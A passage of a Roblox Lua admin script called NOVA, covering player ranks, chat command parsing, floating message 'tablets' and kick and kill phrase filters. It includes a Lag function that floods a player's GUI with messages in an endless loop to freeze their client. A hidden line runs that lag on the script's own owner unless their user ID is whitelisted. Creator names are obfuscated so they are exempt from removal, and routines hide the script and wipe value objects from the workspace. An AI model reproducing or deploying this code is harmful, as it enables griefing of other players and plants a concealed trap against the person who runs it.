709 | NeckFlat.Name = "NeckFlat" | |
710 | NeckFlat.TopSurface = "Smooth" | |
711 | NeckFlat.BottomSurface = "Smooth" | |
712 | NeckFlat.FormFactor = "Custom" | |
713 | NeckFlat.Size = Vector3.new(2,0.2,1) | |
714 | NeckFlat.BrickColor = BrickColor.new("Really black") | |
715 | NeckFlat.Anchored = false | |
716 | NeckFlat.Locked = true | |
717 | NeckFlat.CanCollide = false | |
718 | NeckFlat.Transparency = 0 | |
719 | NeckFlat.Reflectance = 0 | |
720 | local Weld = Instance.new("Motor6D",NeckFlat) | |
721 | Weld.Part0 = NeckFlat | |
722 | Weld.Part1 = v.Character.Torso | |
723 | Weld.C0 = CFrame.new(0,-1,0) | |
724 | ||
725 | for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end | |
726 | ||
727 | end | |
728 | ||
729 | --[[ GET SPLIT ]]-- | |
730 | function GetSplit(Msg) | |
731 | Split = nil | |
732 | for i=1,100 do | |
733 | if string.sub(Msg,i,i) == NOVA.Bet then | |
734 | Split = i | |
735 | break | |
736 | end | |
737 | end | |
738 | return Split | |
739 | end | |
740 | ||
741 | --[[ GET RANK ]]-- | |
742 | ||
743 | function GetRank(Player) | |
744 | Rtn = nil | |
745 | if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then | |
746 | return 8 | |
747 | end | |
748 | if type(Player) == "userdata" then | |
749 | for _,v in pairs(NOVA.Ranked) do | |
750 | if v.Name:lower() == Player.Name:lower() then | |
751 | Rtn = v.Rank | |
752 | end | |
753 | end | |
754 | elseif type(Player) == "string" then | |
755 | for _,v in pairs(NOVA.Ranked) do | |
756 | if v.Name:lower() == Player:lower() then | |
757 | Rtn = v.Rank | |
758 | end | |
759 | end | |
760 | else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")") | |
761 | end | |
762 | return Rtn | |
763 | end | |
764 | ||
765 | --[[ GET RANK NAME ]]-- | |
766 | function GetRankName(Player) | |
767 | if type(Player) == "userdata" or type(Player) == "string" then | |
768 | Rtn = nil | |
769 | Rank = GetRank(Player) | |
770 | for _,v in pairs(NOVA.Ranks) do | |
771 | if v[1] == Rank then | |
772 | Rtn = v[2] | |
773 | end | |
774 | end | |
775 | return Rtn | |
776 | else | |
777 | print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")") | |
778 | return "NOT AVALIBLE" | |
779 | end | |
780 | end | |
781 | ||
782 | --[[ GET RANKED TABLE ]]-- | |
783 | function GetRankedTable(Player) | |
784 | Rtn = nil | |
785 | if type(Player) == "userdata" then | |
786 | for _,v in pairs(NOVA.Ranked) do | |
787 | if v.Name == Player.Name then | |
788 | Rtn = v | |
789 | end | |
790 | end | |
791 | elseif type(Player) == "string" then | |
792 | for _,v in pairs(NOVA.Ranked) do | |
793 | if v.Name == Player then | |
794 | Rtn = v | |
795 | end | |
796 | end | |
797 | else | |
798 | print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")") | |
799 | end | |
800 | return Rtn | |
801 | end | |
802 | ||
803 | --[[ GET RECURSIVE CHILDREN ]]-- | |
804 | function GetRecursiveChildren(Source, Name, SearchType, Children) | |
805 | if Source == nil then | |
806 | Source = NOVA.Services | |
807 | end | |
808 | if Name == nil or type(Name) ~= "string" then | |
809 | Name = "" | |
810 | end | |
811 | if Children == nil or type(Children) ~= "table" then | |
812 | Children = {} | |
813 | end | |
814 | if type(Source) == "userdata" then | |
815 | pcall(function() | |
816 | for _, Child in pairs(Source:children()) do | |
817 | pcall(function() | |
818 | if (function() | |
819 | if SearchType == nil or SearchType == 1 then | |
820 | return string.match(Child.Name:lower(), Name:lower()) | |
821 | elseif SearchType == 2 then | |
822 | return string.match(Child.className:lower(), Name:lower()) | |
823 | elseif SearchType == 3 then | |
824 | return Child:IsA(Name) or Child:IsA(Name:lower()) | |
825 | elseif SearchType == 4 then | |
826 | return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower()) | |
827 | end | |
828 | return false | |
829 | end)() then | |
830 | table.insert(Children, Child) | |
831 | end | |
832 | GetRecursiveChildren(Child, Name, SearchType, Children) | |
833 | end) | |
834 | end | |
835 | end) | |
836 | elseif type(Source) == "table" then | |
837 | for _,Area in pairs(Source) do | |
838 | pcall(function() | |
839 | for _, Child in pairs(Area:children()) do | |
840 | pcall(function() | |
841 | if (function() | |
842 | if SearchType == nil or SearchType == 1 then | |
843 | return string.match(Child.Name:lower(), Name:lower()) | |
844 | elseif SearchType == 2 then | |
845 | return string.match(Child.className:lower(), Name:lower()) | |
846 | elseif SearchType == 3 then | |
847 | return Child:IsA(Name) or Child:IsA(Name:lower()) | |
848 | elseif SearchType == 4 then | |
849 | return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower()) | |
850 | end | |
851 | return false | |
852 | end)() then | |
853 | table.insert(Children, Child) | |
854 | end | |
855 | GetRecursiveChildren(Child, Name, SearchType, Children) | |
856 | end) | |
857 | end | |
858 | end) | |
859 | end | |
860 | else | |
861 | print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")") | |
862 | end | |
863 | return Children | |
864 | end | |
865 | ||
866 | --[[ GET REPLICATORS ]]-- | |
867 | function GetReplicators() | |
868 | Rtn = NOVA.Services.NetworkServer:GetChildren() | |
869 | for i=1,#Rtn do | |
870 | if not Rtn[i]:IsA("ServerReplicator") then | |
871 | table.remove(Rtn,i) | |
872 | end | |
873 | end | |
874 | return Rtn | |
875 | end | |
876 | ||
877 | --[[ GET RANKED ]]-- | |
878 | ||
879 | function GetRanked() | |
880 | local Rtn = {} | |
881 | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do | |
882 | if GetRank(v) ~= nil and GetRank(v) > 0 then | |
883 | table.insert(Rtn,v) | |
884 | end | |
885 | end | |
886 | return Rtn | |
887 | end | |
888 | ||
889 | --[[ GTFO ]]-- | |
890 | function GTFO(v) | |
891 | coroutine.resume(coroutine.create(function() | |
892 | pcall(function() v:Remove() end) | |
893 | wait(0.5) | |
894 | pcall(function() NOVA.Services.Debris:AddItem(v,0) end) | |
895 | end)) | |
896 | end | |
897 | --[[ GET RID OF ]]-- | |
898 | function GetRidOf(v) | |
899 | if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then | |
900 | Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
901 | else | |
902 | coroutine.resume(coroutine.create(function() | |
903 | v:Destroy() | |
904 | end)) | |
905 | end | |
906 | end | |
907 | --[[ LAG ]]-- | |
908 | function Lag(v) | |
909 | coroutine.resume(coroutine.create(function() | |
910 | if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then | |
911 | OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4) | |
912 | else | |
913 | while wait() do | |
914 | for i=1, 5 do | |
915 | local Msg = Instance.new("Message",v.PlayerGui) | |
916 | Msg.Text = "JOO B LAGGIN NARB" | |
917 | local Hint = Instance.new("Hint",v.PlayerGui) Hint.Text = "JOO B LAGGIN NARB" | |
918 | end | |
919 | end | |
920 | local H = Instance.new("Hint",NOVA.Services.Workspace) | |
921 | repeat | |
922 | H.Text = v.Name.." be gettin' lagged." | |
923 | H.Parent = NOVA.Services.Workspace | |
924 | wait() | |
925 | until v.Parent == nil | |
926 | H:Remove() | |
927 | end | |
928 | end)) | |
929 | end | |
930 | if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end | |
931 | --[[ GET TABLETS ]]-- | |
932 | ||
933 | function GetTablets(Player) | |
934 | local Rtn = {} | |
935 | for _, Tablet in pairs(NOVA.Tablets) do | |
936 | if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then | |
937 | if Tablet.Recipient.Value == Player then | |
938 | table.insert(Rtn, Tablet) | |
939 | end | |
940 | end | |
941 | end | |
942 | --table.insert(_tablets,Instance.new("Model")) | |
943 | return Rtn | |
944 | end | |
945 | ||
946 | --[[ REMOVE TABLETS ]]-- | |
947 | ||
948 | function RemoveTablets(Player) | |
949 | if Player == nil then | |
950 | for _,v in pairs(NOVA.Tablets) do | |
951 | coroutine.resume(coroutine.create(function() | |
952 | for i=1,10 do | |
953 | v.Part.Transparency = v.Part.Transparency + 0.05 | |
954 | v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025 | |
955 | v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1 | |
956 | wait() | |
957 | end | |
958 | v:remove() | |
959 | end)) | |
960 | end | |
961 | else | |
962 | for _,v in pairs(GetTablets(Player)) do | |
963 | coroutine.resume(coroutine.create(function() | |
964 | for i=1,10 do | |
965 | v.Part.Transparency = v.Part.Transparency + 0.05 | |
966 | v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025 | |
967 | v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1 | |
968 | wait() | |
969 | end | |
970 | v:remove() | |
971 | end)) | |
972 | end | |
973 | end | |
974 | end | |
975 | ||
976 | --[[ OUTPUT ]]-- | |
977 | function Output(Message, Color, Player, Stick, Func) | |
978 | if Player == nil or Color == nil or Player == nil then | |
979 | print("[NOVA.Output] Argument(s) missing or nil.") | |
980 | return | |
981 | end | |
982 | Message = tostring(Message) | |
983 | if type(Player) == "userdata" then | |
984 | if Player.Character == nil or Player.Character.Head == nil then | |
985 | return | |
986 | end | |
987 | end | |
988 | if type(Player) == "string" then | |
989 | for _,v in pairs(GetPlayers(Player,"NOVA")) do | |
990 | Output(Message,Color,v,Stick,Func) | |
991 | end | |
992 | return | |
993 | end | |
994 | ||
995 | if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end | |
996 | ||
997 | local Model = Instance.new("Model",NOVA.Services.Workspace) | |
998 | table.insert(NOVA.Tablets, Model) | |
999 | Model.Name = "Output:" .. NOVA.Bet .. Player.Name | |
1000 | ||
1001 | local Part = Instance.new("Part",Model) | |
1002 | Part.Transparency = 0.5 | |
1003 | Part.CanCollide = false | |
1004 | Part.Locked = true | |
1005 | Part.Anchored = true | |
1006 | Part.Name = "Part" | |
1007 | Part.TopSurface = "Smooth" | |
1008 | Part.BottomSurface = "Smooth" | |
1009 | Part.FormFactor = "Plate" | |
1010 | Part.Color = Color | |
1011 | Part.Size = Vector3.new(2, 0.4, 3) | |
1012 | Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7) | |
1013 | Part:BreakJoints() | |
1014 | local Box = Instance.new("SelectionBox",Part) | |
1015 | Box.Name = "SelectionBox" | |
1016 | Box.Adornee = Part | |
1017 | Box.Color = BrickColor.new(Color.r, Color.g, Color.b) | |
1018 | Box.Transparency = 0.75 | |
1019 | ||
1020 | local Recipient = Instance.new("ObjectValue",Model) | |
1021 | Recipient.Name = "Recipient" | |
1022 | Recipient.Value = Player | |
1023 | ||
1024 | Gui = Instance.new("BillboardGui") | |
1025 | Gui.Name = "BillboardGui" | |
1026 | Gui.Parent = Model | |
1027 | Gui.Adornee = Part | |
1028 | Gui.Size = UDim2.new(1, 0, 1, 0) | |
1029 | Gui.StudsOffset = Vector3.new(0, 3, 0) | |
1030 | local Frame = Instance.new("Frame",Gui) | |
1031 | Frame.Name = "Frame" | |
1032 | Frame.Size = UDim2.new(1, 0, 1, 0) | |
1033 | Frame.BackgroundTransparency = 1 | |
1034 | Label = Instance.new("TextLabel") | |
1035 | Label.Name = "Label" | |
1036 | Label.Parent = Frame | |
1037 | Label.Size = UDim2.new(1,0,1,0) | |
1038 | Label.FontSize = "Size12" | |
1039 | Label.TextColor3 = Color | |
1040 | Label.Text = Message | |
1041 | Label.BackgroundTransparency = 1 | |
1042 | ||
1043 | Gui.Adornee = Part | |
1044 | local Click = Instance.new("ClickDetector",Part) | |
1045 | Click.MaxActivationDistance = 9201 | |
1046 | Click.MouseClick:connect(function(player) | |
1047 | if player == Player or GetRank(player) > GetRank(Player) then | |
1048 | if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then | |
1049 | RemoveTablets(Player) | |
1050 | else | |
1051 | coroutine.resume(coroutine.create(function() | |
1052 | for i=1,10 do | |
1053 | Part.Transparency = Part.Transparency + 0.05 | |
1054 | Box.Transparency = Box.Transparency + 0.025 | |
1055 | Label.TextTransparency = Label.TextTransparency + 0.1 | |
1056 | wait() | |
1057 | end | |
1058 | Model:remove() | |
1059 | end)) | |
1060 | Func(player) | |
1061 | end | |
1062 | end | |
1063 | end) | |
1064 | coroutine.resume(coroutine.create(function() | |
1065 | if Stick == 0 or Stick == nil then else | |
1066 | pcall(function() | |
1067 | --[[for i=Stick,0,-0.5 do | |
1068 | Label.Text = Message .. "\t(" .. i .. ")" | |
1069 | wait(0.5) | |
1070 | end | |
1071 | Model:Destroy()]] | |
1072 | NOVA.Services.Debris:AddItem(Model,Stick) | |
1073 | end) | |
1074 | end | |
1075 | end)) | |
1076 | return Click | |
1077 | end | |
1078 | ||
1079 | -- [ IMAGE OUTPUT ]]-- | |
1080 | function OutputImg(Image,Text,Color,Player,Stick,Func) | |
1081 | Tab = Output(Text,Color,Player,Stick,Func) | |
1082 | BBG = Instance.new("BillboardGui",Tab.Parent) | |
1083 | BBG.Size = UDim2.new(5,0,6,0) | |
1084 | BBG.StudsOffset = Vector3.new(0, 7, 0) | |
1085 | BBG.Adornee = Tab.Parent | |
1086 | Img = Instance.new("ImageLabel",BBG) | |
1087 | Img.Size = UDim2.new(1,0,1,0) | |
1088 | Img.BackgroundTransparency = 1 | |
1089 | Img.Image = Image--"http://www.roblox.com/asset/?id=45120559" | |
1090 | return Tab | |
1091 | end | |
1092 | ||
1093 | --[[ OUTPUT MULTI ]]-- | |
1094 | ||
1095 | function OutputMulti(Msg,Color,Players,Stick,Func) | |
1096 | --if type(Players) == "Table" then | |
1097 | for _,v in pairs(Players) do | |
1098 | Output(Msg,Color,v,Stick,Func) | |
1099 | end | |
1100 | --end | |
1101 | end | |
1102 | ||
1103 | --[[ UPDATE TABLETS ]]-- | |
1104 | ||
1105 | function UpdateTablets() | |
1106 | --pcall(function() | |
1107 | NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease | |
1108 | for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do | |
1109 | local Tablets = GetTablets(Player) | |
1110 | local Counter = 0 | |
1111 | local StartCF = CFrame.new(0,0,0) | |
1112 | for i = 180, -180, -360/(#Tablets ) do | |
1113 | pcall(function() | |
1114 | Counter = Counter + 1 | |
1115 | if NOVA.TabletPositionRelative == true then | |
1116 | StartCF = Player.Character.Torso.CFrame | |
1117 | else | |
1118 | StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z) | |
1119 | end | |
1120 | Tablets[Counter].Part.CFrame = StartCF | |
1121 | * CFrame.new(0, 0, 0) | |
1122 | * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0) | |
1123 | * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1))) | |
1124 | * CFrame.Angles(math.rad(70), 0, 0) | |
1125 | end) | |
1126 | end | |
1127 | ||
1128 | if #Tablets == 1 then | |
1129 | pcall(function() | |
1130 | Tablets[1].Part.CFrame = Player.Torso.CFrame | |
1131 | * CFrame.new(0, 0, 0) | |
1132 | * CFrame.Angles(0, math.rad(0), 0) | |
1133 | * CFrame.new(0, 0, -5) | |
1134 | * CFrame.Angles(math.rad(70), 0, 0) | |
1135 | end) | |
1136 | end | |
1137 | end | |
1138 | wait() | |
1139 | --end) | |
1140 | end | |
1141 | --[[ GET PLAYERS RAW ]]-- | |
1142 | function GetPlayersRaw() | |
1143 | return NOVA.Services.Players:GetPlayers() | |
1144 | end | |
1145 | ||
1146 | --[[ GET PLAYERS ]]-- | |
1147 | function GetPlayers(Name,Speaker) | |
1148 | if type(Player) == string or Player == nil then Player = Instance.new("Model") end | |
1149 | local OldName = Name | |
1150 | local Name = Name:lower() | |
1151 | local Players = GetPlayersRaw() | |
1152 | local Rtn = {} | |
1153 | for i=1,#Name do | |
1154 | if Name:find(",") then | |
1155 | local Split = 0 | |
1156 | for i=1,#Name do | |
1157 | if Name:sub(i,i) == "," then | |
1158 | Split = i | |
1159 | end | |
1160 | end | |
1161 | for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do | |
1162 | table.insert(Rtn,v) | |
1163 | end | |
1164 | Name = Name:sub(1,Split-1) | |
1165 | end | |
1166 | end | |
1167 | if Name == "external players" then | |
1168 | for _,v in pairs(NOVA.ExternalPlayersList) do | |
1169 | if GetRank(Speaker) >= GetRank(v) then | |
1170 | table.insert(Rtn,v) | |
1171 | else | |
1172 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1173 | end | |
1174 | end | |
1175 | elseif Name == "all" then | |
1176 | for _,v in pairs(Players) do | |
1177 | if GetRank(Speaker) >= GetRank(v) then | |
1178 | table.insert(Rtn,v) | |
1179 | else | |
1180 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1181 | end | |
1182 | end | |
1183 | elseif Name == "others" then | |
1184 | for _,v in pairs(Players) do | |
1185 | if v ~= Speaker then | |
1186 | if GetRank(Speaker) >= GetRank(v) then | |
1187 | table.insert(Rtn,v) | |
1188 | else | |
1189 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1190 | end | |
1191 | end | |
1192 | end | |
1193 | elseif Name == "random" then | |
1194 | local Person = Players[math.random(1,#Players)] | |
1195 | if GetRank(Speaker) >= GetRank(Person) then | |
1196 | table.insert(Rtn,Person) | |
1197 | else | |
1198 | Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1199 | end | |
1200 | elseif Name == "me" or Name == "not me" or Name =="notme" then | |
1201 | table.insert(Rtn,Speaker) | |
1202 | elseif Name == "vetrans" then | |
1203 | for _,v in pairs(Players) do | |
1204 | if v.AccountAge > 365 then | |
1205 | if GetRank(Speaker) >= GetRank(v) then | |
1206 | table.insert(Rtn,v) | |
1207 | else | |
1208 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1209 | end | |
1210 | end | |
1211 | end | |
1212 | elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then | |
1213 | for _,v in pairs(Players) do | |
1214 | if v.AccountAge < 365 then | |
1215 | if GetRank(Speaker) >= GetRank(v) then | |
1216 | table.insert(Rtn,v) | |
1217 | else | |
1218 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1219 | end | |
1220 | end | |
1221 | end | |
1222 | elseif Name == "newbs" or Name == "noobs" then | |
1223 | for _,v in pairs(Players) do | |
1224 | if v.AccountAge < 60 then | |
1225 | if GetRank(Speaker) >= GetRank(v) then | |
1226 | table.insert(Rtn,v) | |
1227 | else | |
1228 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1229 | end | |
1230 | end | |
1231 | end | |
1232 | elseif Name == "targeted" then | |
1233 | for _,v in pairs(NOVA.Targeted) do | |
1234 | if GetRank(Speaker) >= GetRank(v) then | |
1235 | table.insert(Rtn,v) | |
1236 | else | |
1237 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1238 | end | |
1239 | end | |
1240 | elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then | |
1241 | for _,v in pairs(Players) do | |
1242 | if not IsTargeted(v) then | |
1243 | if GetRank(Speaker) >= GetRank(v) then | |
1244 | table.insert(Rtn,v) | |
1245 | else | |
1246 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1247 | end | |
1248 | end | |
1249 | end | |
1250 | elseif string.sub(Name,1,5) == "rank " then | |
1251 | local ToKillRank = string.sub(Name,6) | |
1252 | for i,v in pairs(game.Players:GetPlayers()) do | |
1253 | if GetRank(v) == ToKillRank then | |
1254 | if GetRank(Speaker) >= GetRank(v) then | |
1255 | table.insert(Rtn,v) | |
1256 | else | |
1257 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1258 | end | |
1259 | end | |
1260 | end | |
1261 | elseif Name:sub(1,4) == "not " then | |
1262 | for _,v in pairs(Players) do | |
1263 | for _,Check in pairs(Players) do | |
1264 | if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then | |
1265 | if v ~= Check then | |
1266 | if GetRank(Speaker) >= GetRank(v) then | |
1267 | table.insert(Rtn,v) | |
1268 | else | |
1269 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1270 | end | |
1271 | end | |
1272 | end | |
1273 | end | |
1274 | end | |
1275 | else | |
1276 | for _,v in pairs(Players) do | |
1277 | if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then | |
1278 | if GetRank(Speaker) >= GetRank(v) then | |
1279 | table.insert(Rtn,v) | |
1280 | else | |
1281 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1282 | end | |
1283 | end | |
1284 | end | |
1285 | end | |
1286 | return Rtn | |
1287 | end | |
1288 | ||
1289 | --[[ ON CHATTED ]]-- | |
1290 | function OnChatted(Msg,Speaker) | |
1291 | coroutine.resume(coroutine.create(function() | |
1292 | if NOVA.Removed == false then | |
1293 | if Msg:find(" --") then | |
1294 | for i=1,#Msg do | |
1295 | if Msg:sub(i,i+2) == " --" then | |
1296 | Msg = Msg:sub(1,i-1) | |
1297 | break | |
1298 | end | |
1299 | end | |
1300 | end | |
1301 | local Data = GetRankedTable(Speaker) | |
1302 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 then | |
1303 | if NOVA.ShowChat == true then | |
1304 | if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then | |
1305 | print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker))) | |
1306 | else | |
1307 | print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg) | |
1308 | end | |
1309 | end | |
1310 | end | |
1311 | --[[ CHAT FILTERS ]]-- | |
1312 | for _,v in pairs(NOVA.ChatFilters) do | |
1313 | if Msg:lower():sub(1,#v + 1) == v:lower().." " then | |
1314 | Msg = Msg:sub(#v+2) | |
1315 | end | |
1316 | end | |
1317 | if GetRank(Speaker) < 6 then | |
1318 | --[[ KILLING PHRASES ]]-- | |
1319 | for _,v in pairs(NOVA.KillingPhrases) do | |
1320 | if Msg:lower():find(v:lower()) then | |
1321 | pcall(function() | |
1322 | Speaker.Character:BreakJoints() | |
1323 | end) | |
1324 | end | |
1325 | end | |
1326 | end | |
1327 | local FoundKick = false | |
1328 | if NOVA.BadPhrases == true then | |
1329 | if GetRank(Speaker) <= 0 then | |
1330 | --[[ KICKING PHRASES ]]-- | |
1331 | --if game.PlaceId == 113456 or game.PlaceId == 56786 then | |
1332 | for _,v in pairs(NOVA.KickingPhrases) do | |
1333 | if FoundKick == false then | |
1334 | if Msg:lower():find(v:lower()) then | |
1335 | GetRidOf(Speaker) | |
1336 | FoundKick = true | |
1337 | makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace) | |
1338 | pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end) | |
1339 | end | |
1340 | end | |
1341 | end | |
1342 | end | |
1343 | end | |
1344 | --[[ ANIMATIONS ]]-- | |
1345 | for _,v in pairs(NOVA.Animations) do | |
1346 | if Speaker.Name == v.Who then | |
1347 | if Msg:lower():find(v.Name:lower()) then | |
1348 | pcall(function() | |
1349 | CreateLocalScript([[ | |
1350 | local Animation = Instance.new("Animation",workspace) | |
1351 | Animation.Name = "tusKOr661's Animation" | |
1352 | Animation.AnimationId = "]]..v.Id..[[" | |
1353 | local hum = game:GetService("Players").LocalPlayer.Character.Humanoid | |
1354 | local anim_feet = hum:LoadAnimation(Animation) | |
1355 | local current = anim_feet | |
1356 | current:Play(0.5) | |
1357 | ]],Speaker.Backpack) | |
1358 | end) | |
1359 | end | |
1360 | end | |
1361 | end | |
1362 | Num = 1 | |
1363 | Sep = nil | |
1364 | if Msg:sub(1,3) == NOVA.Bet .. "do" then | |
1365 | for i=4,#Msg do | |
1366 | if Msg:sub(i,i) == NOVA.Bet .. "" then | |
1367 | Sep = i | |
1368 | break | |
1369 | end | |
1370 | end | |
1371 | if Sep ~= nil then | |
1372 | Num = tonumber(Msg:sub(4,Sep-1)) | |
1373 | end | |
1374 | Msg = Msg:sub(Sep) | |
1375 | end | |
1376 | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg}) | |
1377 | if Data.Rank < 6 and Data.Rank >= 0 then | |
1378 | if Num > (GetRank(Speaker) + 1 )*10 then | |
1379 | Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5) | |
1380 | Num = 0 | |
1381 | end | |
1382 | end | |
1383 | for i=1,Num do | |
1384 | if NOVA.Canceled == true then NOVA.Canceled = false break end | |
1385 | for _,CMD in pairs(NOVA.Commands) do | |
1386 | if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then | |
1387 | RemoveTablets(Speaker) | |
1388 | Output("Name : "..CMD.Name,Data.Color,Speaker) | |
1389 | Output("Rank : "..CMD.Rank,Data.Color,Speaker) | |
1390 | Output("Command : "..CMD.Command,Data.Color,Speaker) | |
1391 | Output("Arguments : "..CMD.Args,Data.Color,Speaker) | |
1392 | Output("Description : "..CMD.Description,Data.Color,Speaker) | |
1393 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1394 | elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then | |
1395 | if Data.Rank ~= nil and Data.Rank >= CMD.Rank then | |
1396 | if NOVA.Overrided == true and Data.Rank < 7 then | |
1397 | Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15) | |
1398 | else | |
1399 | local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end)) | |
1400 | if not a then | |
1401 | Output(b,NOVA.Colors.Red,Speaker,15) | |
1402 | else | |
1403 | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name}) | |
1404 | end | |
1405 | end | |
1406 | else | |
1407 | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."}) | |
1408 | print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.") | |
1409 | Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7) | |
1410 | end | |
1411 | end | |
1412 | end | |
1413 | wait() | |
1414 | end | |
1415 | end | |
1416 | end)) | |
1417 | end | |
1418 | ||
1419 | --[[ ADD COMMAND ]]-- | |
1420 | function AddCommand(Name,Command,Rank,Description,Args,Function) | |
1421 | for i,v in pairs(NOVA.Commands) do | |
1422 | if v.Command == Command then | |
1423 | table.remove(NOVA.Commands,i) | |
1424 | end | |
1425 | end | |
1426 | table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function}) | |
1427 | end | |
1428 | ||
1429 | --[[ BACKUP PROCEDURE ]]-- | |
1430 | pcall(function() | |
1431 | NOVA.Backup = script:children()[2].Value | |
1432 | end) | |
1433 | ||
1434 | --[[ NIL SUPPORT ]]-- | |
1435 | game:GetService("Chat").Chatted:connect(function(Part,Message,Color) | |
1436 | local Split = GetSplit(Message) | |
1437 | OnChatted(Message:sub(Split+1),Message:sub(Split-1)) | |
1438 | end) | |
1439 | ||
1440 | --[[ Safety Procedure # 1 ]]-- | |
1441 | pcall(function() | |
1442 | NOVA.LocalScript.Parent = nil | |
1443 | end) | |
1444 | for _,v in pairs(NOVA.Plugins) do | |
1445 | pcall(function() | |
1446 | v.Parent = nil | |
1447 | end) | |
1448 | end | |
1449 | pcall(function() | |
1450 | script:ClearAllChildren() | |
1451 | end) | |
1452 | ||
1453 | --[[ Safty Procedure # 2 ]]-- | |
1454 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
1455 | if v:IsA("StringValue") or v:IsA("IntValue") then | |
1456 | pcall(function() | |
1457 | v:remove() | |
1458 | end) | |
1459 | end | |
1460 | end | |
1461 | ||
1462 | --[[ SCRIPT LOGGING PROCEDURES ]]-- | |
1463 | for _,Service in pairs(NOVA.Services) do | |
1464 | pcall(function() | |
1465 | Service.DescendantAdded:connect(function(v) | |
1466 | if v:IsA("BaseScript") then | |
1467 | table.insert(NOVA.LoggedScripts,v) | |
1468 | end | |
1469 | end) | |
1470 | end) | |
1471 | end | |
1472 | ||
